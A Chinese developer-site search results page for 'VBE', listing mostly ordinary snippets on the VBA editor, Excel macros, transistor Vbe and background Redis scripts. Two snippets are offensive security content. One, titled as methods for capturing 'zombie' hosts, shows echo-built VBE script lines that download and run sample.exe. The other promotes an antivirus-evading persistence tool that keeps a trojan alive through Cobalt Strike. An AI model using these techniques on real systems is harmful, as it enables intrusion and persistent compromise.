首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏VBA 学习

    VBE菜单——CommandBars对象

    在VBIDE库下面的对象里,找到VBE对象,它下面就有CommandBars属性,这个属性就是菜单相关的,再点击下面: ? 我们写个代码遍历一下这个对象,看看在VBA编辑器里的这个菜单对象: Sub testCMDB() Dim cmd As CommandBar For Each cmd In Application.VBE.CommandBars CommandBars(1)试试: Sub testCMDB1() Dim cmd As CommandBarControl For Each cmd In Application.VBE.CommandBars

    2.7K20发布于 2020-07-28
  • 来自专栏完美Excel

    VBA技巧:VBE控件工具箱,比你想的要更智能

    标签:VBA,VBE 大家知道,我们可以使用用户窗体来创建自己的界面,从而最大限度地按照自己的意图与用户交互。

    1.3K30编辑于 2022-11-16
  • 来自专栏完美Excel

    VBA小技巧05:将数据打印在VBE立即窗口的一行中

    通常,在编写代码时,我们会在其中放置一些Debug.Print语句,用来在立即窗口中打印程序运行过程中的一些变量值,了解程序的运行状态。一般情况下,Debug.Print语句每运行一次,就会将要打印的数据输出到不同的行中,如下图1所示。

    6.9K20发布于 2019-12-06
  • 来自专栏黑客技术家园

    抓肉鸡的几种方法

    ")>>iget.vbe echosGet.Mode=3>>iget.vbe echosGet.Type=1>>iget.vbe echosGet.Open()>>iget.vbe echosGet.Write */sample.exe",0 >>dsa.vbe echoxPost.Send()>>dsa.vbe echoSetsGet=CreateObject("ADODB.Stream")>>dsa.vbe )>>dsa.vbe echosGet.SaveToFile"sample.exe",2>>dsa.vbecscript dsa.vbe deldsa.vbe 3389法 可以开3389,然后登陆,进行本地的下载 ")>>iget.vbe echosGet.Mode=3>>iget.vbe echosGet.Type=1>>iget.vbe echosGet.Open()>>iget.vbe echosGet.Write */sample.exe",0 >>dsa.vbe echoxPost.Send()>>dsa.vbe echoSetsGet=CreateObject("ADODB.Stream")>>dsa.vbe

    5.1K10编辑于 2023-03-24
  • 来自专栏全栈程序员必看

    (ExcelVBA编程入门范例)

    ---- VBE编辑器及VBA代码输入和调试的基本知识 在学习这些实例的过程中,最好自已动手将它们输入到VBE编辑器中调试运行,来查看它们的结果。 VBE编辑器 此外,您也可以使用下面三种方式打开VBE编辑器: ■ 在任一工作表标签上单击鼠标右键,在弹出的菜单中选择“查看代码”,则可进入VBE编辑器访问该工作表的代码模块,如图00-03 “编辑”按钮打开VBE编辑器 VBE编辑器窗口简介 刚打开VBE编辑器时,所显示的窗口如图00-06所示,其中没有代码模块窗口。 图00-07:VBE编辑器窗口 下面是带有用户窗体的VBE编辑器窗口,如图00-08所示。选择VBE菜单“插入——用户窗体”,即可插入一个用户窗体。 图00-08:VBE编辑器窗口(带有用户窗体) 在VBE编辑器中输入VBA代码 如前所述,您可以选择VBE菜单“插入——用户窗体/模块/类模块”来插入模块或用户窗体以及相应的代码窗口。

    6.4K20编辑于 2022-09-06
  • 来自专栏VBA 学习

    MyVBA加载宏——添加自定义菜单04——功能实现

    功能实现 01 类模块功能 类模块CCommandBar就是为了响应单击按钮的功能: 根据单击的按钮的名称,读取对应名称的txt文件 将读取到的文本插入到VBE中 所以,分别先实现2个函数,读取txt文件的内容在前面有过介绍 ForReading=1 FsoReadTxt = sr.ReadAll() Set fso = Nothing Set sr = Nothing End Function 在VBE Application.VBE.ActiveCodePane.GetSelection i_row, 0, 0, 0 '从获取的行号开始处插入代码 Application.VBE.SelectedVBComponent.CodeModule.InsertLines & ".txt") InsertCode str_code Exit Sub ErrHandle: MsgBox Err.Description End Sub VBE_DIR CheckVbproject = False Else CheckVbproject = True End If End Function 因为要操作VBE

    2K30发布于 2020-07-28
  • 来自专栏VBA 学习

    MyVBA加载宏——添加自定义菜单02——给按钮添加单击事件

    在2003版本之前的Excel里使用过VBA的话,应该接触过在Excel里添加自定义菜单,使用方法和前面说的在VBE里添加菜单是类似的。 同样的方法,我们在VBE里使用: Sub TestAdd() Dim cmd As CommandBarControl Application.VBE.CommandBars (1).Reset Set cmd = Application.VBE.CommandBars(1).Controls.Add(msoControlPopup) cmd.Caption Private cbar As CCommandBar 修改代码: Sub TestAdd() Dim cmd As CommandBarControl Application.VBE.CommandBars (1).Reset Set cmd = Application.VBE.CommandBars(1).Controls.Add(msoControlPopup) cmd.Caption

    3.9K20发布于 2020-07-28
  • 来自专栏黑伞安全

    3vilGu4rd 免杀/权限维持

    使用VBS编写,并打包成VBE后缀的二进制文件,理论上在xp以后的系统都可以运行。经测试,在win7,w2k8,win2019,win10win11都可以正常进行权限维持。 wxv_2298086920847228937&format_id=10002&support_redirect=0&mmversion=false 操作方式如下: 1.上传守护进程3vilGu4rd.vbe 到目标主机上,然后上传木马到受害者主机上(remote.exe,自定义路径) 2.用CS的shell 远程调用3vilGu4rd.vbe去守护我们的木马程序。 3vilGu4rd.vbe (木马的相对路径/绝对路径) [进程名] 在使用工具的时候,一定要使用木马的绝对路径。否则会导致失败!!! VBE格式是VBS的加密版本,程序代码以及加密,破解难度比较大 7.目前能绕过国内杀软的检测(非木马程序) 3vilGu4rd下载地址:https://github.com/PDWR/3vilGu4rd

    1.2K30编辑于 2022-04-02
  • 来自专栏完美Excel

    Excel VBA解读(135): 影响工作表公式中运用自定义函数效率的Bug及解决方法

    VBE中存在一个小的Bug:Excel每次在工作表计算过程中运行包含自定义函数的公式时,包含自定义函数的公式都会将VBE标题栏改更为“正在运行”,如下图1所示。 ? 图2 此时,Excel会在VBE标题栏名称显示的工作簿名后显示[运行中],这就需要VBE向Windows屏幕处理程序发送消息,并刷新包含VBE的窗口。 如果处理的数据量足够大,且计算机配置不适合这么大的数据的话,会看到VBE窗口不断闪烁。对于少量的数据处理来说,这个影响并不大,但是要处理大量数据的话,处理速度就会变慢。 如何解决这个问题呢?

    2.9K20发布于 2019-07-19
  • 来自专栏完美Excel

    运行Excel VBA的15种方法2

    图19 方法9:从VBE的运行菜单中运行VBA 在VBE中,首先将光标置于要运行的过程代码中,然后单击顶部菜单“运行——运行子过程/用户窗体”,如下图20所示。 图20 方法10:从VBE工具栏中运行VBA 在VBE中,首先将光标置于要运行的过程代码中,然后单击顶部调试工具栏中的“运行——运行子过程/用户窗体”按钮,如下图21所示。 图21 方法11:在VBE中使用快捷键运行代码 在VBE中,首先将光标置于要运行的过程代码中,然后按F5键,即可运行光标所在处的过程代码。

    2.4K40编辑于 2023-08-30
  • 来自专栏VBA 学习

    MyVBA加载宏——添加自定义菜单01

    我们在VBE菜单——CommandBars对象里,对VBE里的菜单对象已经有了了解,要添加新的菜单,只要去操作CommandBars集合中的第一个对象即可: Sub TestAdd() Dim cmd As CommandBarControl Set cmd = Application.VBE.CommandBars(1).Controls.Add(msoControlPopup 这种弹出式的可以继续在其上面添加CommandBarControl: Sub TestAdd() Dim cmd As CommandBarControl Set cmd = Application.VBE.CommandBars 删除这个菜单: Sub TestDelete() On Error Resume Next Application.VBE.CommandBars(1).Controls("测试").Delete

    1.7K20发布于 2020-07-28
  • 来自专栏完美Excel

    在Excel中使用VBA来自动化Word

    在Word中打开VBE,可以看到录制的宏代码类似如下: Sub 宏1() ' ' 宏1 宏 ' ' Documents.Add Template:="Normal", NewTemplate:=False , DocumentType:=0 Windows("在Excel中使用VBA自动化Word.docx").Activate End Sub 接着,回到Excel,打开VBE,单击菜单“工具——引用” 接下来,从Word VBE中复制刚才录制的代码到Excel VBE中并稍作调整。 =wdPasteOLEObject, Placement:= _ wdInLine, DisplayAsIcon:=False End Sub 那么,现在可以将上面的两段代码添加到我们的Excel VBE 的代码中,记住,对于Word VBE中复制过来的代码,要添加wordApp前缀。

    3.8K50编辑于 2023-08-30
  • 来自专栏Excel催化剂

    推荐一款神器-VBA&C#代码编辑管理器

    重要说明: 1、安装本程序会卸载Smart Indenter for VBE排版插件,安装新的VBA Indenter排版插件,功能升级到第三版。 5、VBE排版插件升级到第三版,支持VBE窗口代码与编辑器代码之间的双向传送。 6、VBE排版插件去除了VBA Dumper功能(有需要的可以使用我写的DnaTools for Excel插件)。 7、VBE排版插件去除了VBA代码动态加密功能,有需要的请用2.x旧版。 五、代码导入VBE的代码窗口 点击最后一个按钮 六、代码搜索 右上角文件框输入需要搜索的关键字,下面的代码窗口会实时自动匹配结果。 2、免费版不支持对VBE窗口进行代码传送。 3、免费版不支持打开其它数据库。 4、免费版不支持导入Excel数据到数据库。 免费版并不影响代码编辑功能和插件排版功能,所以可以不需要注册。

    5.3K30发布于 2021-08-19
  • 来自专栏web全栈潮流

    DOS命令后台运行

    wscript.createobject("wscript.shell") ws.run "win.bat /start",0 (其中win.bat为你自己的批处理名字,自己改) 然后把这个记事本保存为后缀名为.vbe 的文件,到时候你只要运行这个vbe文件

    2.8K30发布于 2019-11-04
  • 来自专栏云深之无迹

    激光修整工艺如何提高 OP 性能?(以双极性和 CMOS 为例)

    理想情况下,Q1 和 Q2 完全对称:同样的 β、Vbe、面积、电流 → Vin1=Vin2 时电流完全均分 → 输出为 0。 现实里难免有差异:Q1、Q2 的 Vbe 有几十 µV〜几百 µV 的不一致;R1、R2 匹配也不是完美;制程导致面积、掺杂有细微差别。 这些差异就会表现成一个等效的 输入失调电压 Vos。 红框里的 Ros1、Ros2 是小电阻,可在晶圆测试时微调(比如激光修、熔丝):增大 Ros1、减小 Ros2 → 改变 Q1/Q2 的等效发射极电阻 → 轻微改变它们的电流 / Vbe 曲线;通过这种 因为 Q1 和 Q2 是 双极性晶体管,它们的 Vbe–T 曲线非常类似,只要调好室温的对称点,整条温度曲线也会一起对齐,所以: 对双极型输入级来说,一次修整 Ros1/Ros2,既能把 Vos 调小, MOS 管的 Vgs–T 特性比 BJT 的 Vbe–T 要“弯”得复杂得多,而且:Vth(阈值电压)的温漂和工差很大;µn、µp 的温度特性也不完全对称;DC Vos 和温度曲线的“斜率 / 曲率”不是简单线性关系

    16110编辑于 2026-01-07
  • 来自专栏AIoT技术交流、分享

    介绍一种直流过压保护电路

    三极管Q2:基极和发射极同电位,Vbe = 0V,Q2不导通。 MOSFET Q1:栅极通过R3拉到地,Vgs = 0V - Vin = -Vin(负值),P沟道MOSFET导通。 Q2:Vbe = 5.1V - 5.4V = -0.3V,PNP三极管需Vbe < -0.6V才导通,因此Q2仍不导通。 粉色路径:Q2的Vbe = 5.1V - 5.8V = -0.7V,低于-0.6V,Q2导通并饱和。

    89610编辑于 2025-06-11
  • 来自专栏coding

    windows下安装redis并在后台静默开启

    窗口打开看着很不便,最好的方式是让redis服务静默运行 静默运行redis服务 在redis安装目录新建 redis.bat @echo off redis-server.exe 再新建 redis.vbe set ws=wscript.createobject("wscript.shell") ws.run "redis.bat /start",0 双击 redis.vbe 文件,redis服务就已经在后台安安静静地提供服务了

    1.4K20发布于 2018-06-27
  • 来自专栏Office二次开发

    开源一套.NET平台的Office COM 组件二次封装库

    这是一套针对MicrosoftOffice应用程序(包括Excel、Word、PowerPoint和VBE)的.NET封装库。 打开现有演示文稿varpptApp=PowerPointFactory.Open(@"C:\Presentations\SalesPresentation.pptx");//现在可以读取和修改现有演示文稿VBE 模块(MudTools.OfficeInterop.Vbe)"代码改变世界,而宏让Office更智能。" -某位VBA大师VBE模块封装了VisualBasicEditor相关功能,支持宏、代码模块、项目等对象的操作。

    11810编辑于 2026-03-11
  • 来自专栏全栈程序员必看

    三极管开关电路设计过程[通俗易懂]

    Ic=9.8mA,又根据hFE(直流增益,一般三极管的手册会给出,这里面取值50)=Ic/Ib,所以可得Ib=196uA,又因为三极管导通的时候b极和e极间会有0.7v的压降,此时Rb上的电压为Vin-Vbe (b极与e极间的电压),假设Vin=5v,可以计算出Rb=(Vin-Vbe)/Ib=22kΩ; 以上运算过程可以说明,当Vin=5v,Rb=22kΩ,Vcc=10v时,三极管闭合,并能像Rc提供9.8mA 则可以计算出Rc=(Vcc-1v-Vce)/10mA; 又根据hFE(直流增益)=Ic/Ib,则可以得到Ib=Ic/hFE; 得到Ib之后,又因为三极管处于导通状态,所以b极和e极之间的压降为0.7v,即Vbe =0.7,所以可得,Rb=(Vin-Vbe)/Ib; 这样就将Rb以及Rc的阻值确定出来,当Vin=5时蜂鸣器就正常工作了; 如果Vcc的值变了,用同样的方法计算,现在用三极管当开关控制发光二极管、蜂鸣器

    1.8K20编辑于 2022-09-29
  • 来自专栏应用案例

    VBA创建Access数据库的4种方法

    操作方法:单击VBE窗口上的【工具】按钮,在弹出的快捷菜单中单击【引用】按钮, 接下来,在弹出的对话框选择【Microsoft Access 16.0 Object Library】。 操作方法:单击VBE窗口上的【工具】按钮,在弹出的快捷菜单中单击【引用】按钮,接下来,在弹出的对话框选择【Microsoft DAO 3.6 Object Library】。 操作方法:单击VBE窗口上的【工具】按钮,在弹出的快捷菜单中单击【引用】按钮,接下来,在弹出的对话框选择【Microsoft ADO Ext 6.0 for DDL and Security】。 操作方法:单击VBE窗口上的【工具】按钮,在弹出的快捷菜单中单击【引用】按钮,接下来,在弹出的对话框选择【Microsoft ActiveX Data Object 6.0 Library】。

    7.3K101发布于 2018-02-26
领券